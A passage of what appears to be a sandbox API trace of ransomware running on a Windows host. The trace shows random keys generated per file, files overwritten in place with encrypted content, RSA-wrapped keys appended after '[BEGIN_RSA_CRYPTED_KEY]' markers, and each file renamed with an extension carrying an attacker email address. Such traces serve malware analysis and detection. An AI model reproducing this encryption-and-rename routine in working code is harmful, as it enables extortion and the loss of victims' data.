pszString="gv6wDtgvx0V/qcGGYZ6Za2LSeIqggsQIz7qAOnzdQOTNNesj0MUeXyTqpDyEqNap\n9lcVJfzxV9NLjX7k1FwMYF2dKx2YPgffoGq5sRc96Np1hJSBSNUYFk9w+tZdm7Q8\ntY9peHdX2bwiLGmeN97rHKTU8xcMW/LF0MsEDfjSalZiX/pEuTv2BtFx/P8K2L8B\nWSrvlFd3jnvjzT1Vn1i5W4js5nKzQTaxZ9RrwO8stEF/aUWxZbi9wrlR9Vim/hHD\n0jELNEJzB3mnD3oTHjZLTFs5e+nqqE4b5VQ88tfP/FNPY9Y4nMO2FgVaqO95PEBA\njcypzPwM8zlkuaFzkYJwpw==\n", pcchString=0x2e3f9a8) returned 1 [0225.616] WriteFile (in: hFile=0x1854, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0225.617] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.617] WriteFile (in: hFile=0x1854, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.617] CloseHandle (hObject=0x1854) returned 1 [0225.617] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0225.640] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0225.640] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", dwFileAttributes=0x80) returned 1 [0225.641] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1854 [0225.641] GetFileSizeEx (in: hFile=0x1854, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17248) returned 1 [0225.641] ReadFile (in: hFile=0x1854, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x4360, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x4360, lpOverlapped=0x0) returned 1 [0225.689] SetFilePointer (in: hFile=0x1854, lDistanceToMove=-17248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.689] WriteFile (in: hFile=0x1854, lpBuffer=0x2f39388*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39388*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4360, lpOverlapped=0x0) returned 1 [0225.689] SetFilePointer (in: hFile=0x1854, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4360 [0225.689] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.689] WriteFile (in: hFile=0x1854, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.689] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0225.690] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0225.690] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0225.690] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ObOmzbO57uvK/3pVp1REZC6YKuQeVn+lXpxq6S6vwBXurB5Ve8ao4IrvZ87ko3XD\nu13hQQO5H+x3/IBX+GdRTOcOhMnYrGtK8RNVN2X6dNY4FT0DC2kUWW0rAvP77YZr\n4PP/3iK5N9er1YnFZnkfce3v0Llv74SQgZ+KDyxx02H07RYjnNk/R2G44Rv4Ujvv\nlJLwRxT/frwCIbbDH4XOjVtWE9nR/VXKt4IDmlU9OMlC3EaJZIUn7cZ+3uzsBNmJ\nasB585UrGIzuVLzZafcUtt9cEn8jyKXdrB/Mq3WWuY6LSpKQQm6UIJuU7fvUu97X\nAhZKHg1lDR9V4wWJm4eIqg==\n", pcchString=0x2e3f9a8) returned 1 [0225.690] WriteFile (in: hFile=0x1854, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0225.690] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.690] WriteFile (in: hFile=0x1854, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.690] CloseHandle (hObject=0x1854) returned 1 [0225.691] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0225.693] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0225.693] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", dwFileAttributes=0x80) returned 1 [0225.694] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1854 [0225.694] GetFileSizeEx (in: hFile=0x1854, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16775) returned 1 [0225.695] ReadFile (in: hFile=0x1854, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x4187, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x4187, lpOverlapped=0x0) returned 1 [0225.696] SetFilePointer (in: hFile=0x1854, lDistanceToMove=-16775, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.696] WriteFile (in: hFile=0x1854, lpBuffer=0x2f391b0*, nNumberOfBytesToWrite=0x4187, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f391b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4187, lpOverlapped=0x0) returned 1 [0225.697] SetFilePointer (in: hFile=0x1854, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4187 [0225.697] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.697] WriteFile (in: hFile=0x1854, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.697] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0225.697] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0225.698] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0225.698] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="mfi8wFRwhnnzgThnRcARIYusDbvexKSkp+yNMB15fDNHDn1bzVu5cz1bnsMe09jn\nDNBTLtoN7Bi4TQ+BmpolERKbtvO2o72s2U8Nhbhu8PJy1iD0cr49a5kt36MJDmT1\nauwbPWUokZSdCFW0f8mcFy0pPz4mSAs3tB3L2Z3NfzOmkeHgcSJm1CIFTbcYuNgj\nyo/TNSFdulNJG0uflzgfnYz+xy/cHhCP1egLK/tN6JqE1mnNVKDABA0rSFHW/J/5\nW76gqW6MEmqEkA99+he1RaZXDgkcolEGb1ygJaFl15QNLBLzNmglG62X0y24yozt\nC+icnydLK4A58G3Iwpdxaw==\n", pcchString=0x2e3f9a8) returned 1 [0225.698] WriteFile (in: hFile=0x1854, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0225.698] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.698] WriteFile (in: hFile=0x1854, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.698] CloseHandle (hObject=0x1854) returned 1 [0225.698] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0225.700] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0225.700] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", dwFileAttributes=0x80) returned 1 [0225.701] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1854 [0225.701] GetFileSizeEx (in: hFile=0x1854, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16768) returned 1 [0225.701] ReadFile (in: hFile=0x1854, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x4180, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x4180, lpOverlapped=0x0) returned 1 [0225.724] SetFilePointer (in: hFile=0x1854, lDistanceToMove=-16768, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.724] WriteFile (in: hFile=0x1854, lpBuffer=0x2f391a8*, nNumberOfBytesToWrite=0x4180, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f391a8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4180, lpOverlapped=0x0) returned 1 [0225.724] SetFilePointer (in: hFile=0x1854, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4180 [0225.725] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.725] WriteFile (in: hFile=0x1854, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.725] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0225.725] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0225.725] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0225.725] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ZVJmP2v1JVdTyL/ZVTHvJ7jv3sUQzg2Vta02skQ4Q2nunT1lO39tYsaMBl+D55Ud\n0o0irARWm5IToTvxGjFUyeZco0PU2lzR647kL0uopcYwLIOcwfGF/rGl+CnY0N7Z\nqQTxBKc3EZMceePcPeSxUfYZK169dsASEEPSCMh8+Bjy4JlIk2aPvQPG2rDoOqK4\n4+x+fBr7LIjl7F4x6oI66sEO5cjUIfD+vO9zHwsK4pA7BViNCI6qKrzQq9F7DwM+\nYt+w3Dl2KqaSKCUSrvw9QG1eXa0Jo20nv7n5+9PeJJTLJP9UOXF0xDlQXazFth7y\numZXarcy3b3pnpCYJW8fbg==\n", pcchString=0x2e3f9a8) returned 1 [0225.725] WriteFile (in: hFile=0x1854, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0225.725] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.725] WriteFile (in: hFile=0x1854, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.726] CloseHandle (hObject=0x1854) returned 1 [0225.726] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0225.728] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0225.729] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", dwFileAttributes=0x80) returned 1 [0225.729] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1854 [0225.730] GetFileSizeEx (in: hFile=0x1854, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17435) returned 1 [0225.730] ReadFile (in: hFile=0x1854, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x441b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x441b, lpOverlapped=0x0) returned 1 [0225.771] SetFilePointer (in: hFile=0x1854, lDistanceToMove=-17435, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.771] WriteFile (in: hFile=0x1854, lpBuffer=0x2f39448*, nNumberOfBytesToWrite=0x441b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39448*, lpNumberOfBytesWritten=0x2e3f9b4*=0x441b, lpOverlapped=0x0) returned 1 [0225.771] SetFilePointer (in: hFile=0x1854, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x441b [0225.771] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.771] WriteFile (in: hFile=0x1854, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.771] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0225.771] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0225.772] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0225.772] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="74cOtA3NlBcygObBdl7MDDFbJ63jmkWcBMetOqMCWVitH78ISkR1NWdl+gGyJ4L9\nshgLgX/c6xXh6MYC8f90WkvoHKlRjAEb24IZA76rMVXwSlUh5LTU6vVNor7wWCOT\n6pEGYoCmWG1Nk9ENCEe0SUJhchMJd8vDAgdB4muuthmHqZtKAtDx3tqpThlh3nsA\nfXBTT+XCyOYrQ9vfNlSUF39qu86cC0eAN4iZleJsUrpT+FqkCqzrkeNUxo82WGAK\nNMe805WFZm3dbBPyMyELN//heri/chglsU4OcVUxPUzgMJIt0qj9Rj9QwVs4Q+Le\nVI/vY6LjUqLF+cOVEKourA==\n", pcchString=0x2e3f9a8) returned 1 [0225.772] WriteFile (in: hFile=0x1854, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0225.772] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.772] WriteFile (in: hFile=0x1854, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.772] CloseHandle (hObject=0x1854) returned 1 [0225.772] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0225.775] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0225.775] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", dwFileAttributes=0x80) returned 1 [0225.775] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1854 [0225.776] GetFileSizeEx (in: hFile=0x1854, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16834) returned 1 [0225.776] ReadFile (in: hFile=0x1854, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x41c2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x41c2, lpOverlapped=0x0) returned 1 [0225.794] SetFilePointer (in: hFile=0x1854, lDistanceToMove=-16834, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.794] WriteFile (in: hFile=0x1854, lpBuffer=0x2f391f0*, nNumberOfBytesToWrite=0x41c2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f391f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x41c2, lpOverlapped=0x0) returned 1 [0225.794] SetFilePointer (in: hFile=0x1854, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x41c2 [0225.795] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.795] WriteFile (in: hFile=0x1854, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.795] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 